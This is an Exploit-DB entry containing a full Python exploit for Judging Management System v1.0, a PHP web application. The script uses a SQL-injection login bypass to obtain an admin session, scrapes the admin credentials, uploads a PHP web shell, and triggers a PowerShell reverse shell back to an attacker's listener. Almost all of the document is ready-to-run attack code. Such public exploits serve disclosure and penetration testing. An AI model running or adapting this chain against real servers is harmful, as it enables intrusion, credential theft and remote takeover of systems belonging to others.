Exploit-DB #51164
Description: Judging Management System v1.0 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-03-31
Author: Angelo Pio Amirante

Exploit:
# Exploit Title: Judging Management System v1.0 - Remote Code Execution (RCE)
# Date: 12/11/2022
# Exploit Author: Angelo Pio Amirante
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html
# Version: 1.0
# Tested on: Windows 10 on XAAMP server


import requests,argparse,re,time,base64
import urllib.parse
from colorama import (Fore as F,Back as B,Style as S)
from bs4 import BeautifulSoup


BANNER = """
╔═══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Judging Management System v1.0 - Auth Bypass + Unrestricted File Upload = Remote Code Execution (RCE) ║
╚═══════════════════════════════════════════════════════════════════════════════════════════════════════╝

"""

def argsetup():
    desc = S.BRIGHT + 'Judging Management System v1.0 - Remote Code Execution (RCE)'
    parser = argparse.ArgumentParser(description=desc)
    parser.add_argument('-t', '--target', help='Target URL, Ex: http://localhost/php-jms', required=True)
    parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)
    parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)
    args = parser.parse_args()
    return args

# Performs Auth bypass in order to get the admin cookie
def auth_bypass(args):
    print(F.CYAN+"[+] Login into the application through Auth Bypass vulnerability...")
    session = requests.Session()
    loginUrl = f"{args.target}/login.php"

    username = """' OR 1=1-- -"""
    [CREDENTIAL_REDACTED]"
    data = {'username': username, 'password': password}

    login = session.post(loginUrl,verify=False,data=data)
    admin_cookie = login.cookies['PHPSESSID']
    print(F.GREEN+"[+] Admin cookies obtained !!!")
    return admin_cookie

# Checks if the file has been uploaded to /uploads directory
def check_file(args,cookie):
    uploads_endpoint = f"{args.target}/uploads/"
    cookies = {'PHPSESSID': f'{cookie}'}
    req = requests.get(uploads_endpoint,verify=False,cookies=cookies)
    soup = BeautifulSoup(req.text,features='html.parser')
    files = soup.find_all("a")
    for i in range (len(files)):
        match = re.search(".*-shelljudgesystem\.php",files[i].get('href'))
        if match:
            file = files[i].get('href')
            print(F.CYAN+"[+] The webshell is at the following Url: "+f"{args.target}/uploads/"+file)
            return file
        
    
    return None

def file_upload(args,cookie):
    now = int(time.time())
    endpoint = f"{args.target}/edit_organizer.php"
    cookies = {'wp-settings-time-1':f"{now}",'PHPSESSID': f'{cookie}'}
    get_req = requests.get(endpoint,verify=False,cookies=cookies)
    soup = BeautifulSoup(get_req.text,features='html.parser')
    username = soup.find("input",{"name":"username"}).get('value')
    admin_password = soup.find("input",{"id":"password"}).get('value')
    print(F.GREEN + "[+] Admin username: " + username)
    print(F.GREEN + "[+] Admin password: " + admin_password)
    
    
    # Multi-part request
    file_dict = {
        'fname':(None,"Random"),
        'mname':(None,"Random"),
        'lname':(None,"Random"),
        'email':(None,"ranom@mail.com"),
        'pnum':(None,"014564343"),
        'cname':(None,"Random"),
        'caddress':(None,"Random"),
        'ctelephone':(None,"928928392"),
        'cemail':(None,"company@mail.com"),
        'cwebsite':(None,"http://company.com"),
        'file':("shelljudgesystem.php","<?php system($_REQUEST['cmd']) ?>","application/octet-stream"),
        'username':(None,f"{admin_password}"),
        'passwordx':(None,f"{admin_password}"),
        'password2x':(None,f"{admin_password}"),
        'password':(None,f"{admin_password}"),
        'update':(None,"")
    }
    
    req = requests.post(endpoint,verify=False,cookies=cookies,files=file_dict)


def exploit(args,cookie,file):
    payload = f"""powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('{args.listenip}',{args.listenport})%3b"""+"""$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()" """
    uploads_endpoint = f"{args.target}/uploads/{file}?cmd={payload}"
    cookies = {'PHPSESSID': f'{cookie}'}
    print(F.GREEN + "\n[+] Enjoy your reverse shell ")
    requests.get(uploads_endpoint,verify=False,cookies=cookies)
            
    

if __name__ == '__main__':
    print(F.CYAN +  BANNER)
    args = argsetup()
    cookie=auth_bypass(args=args)
    file_upload(args=args,cookie=cookie)
    file_name=check_file(args=args,cookie=cookie)
    if file_name is not None:
        exploit(args=args,cookie=cookie,file=file_name)
        
    else:
        print(F.RED + "[!] File not found")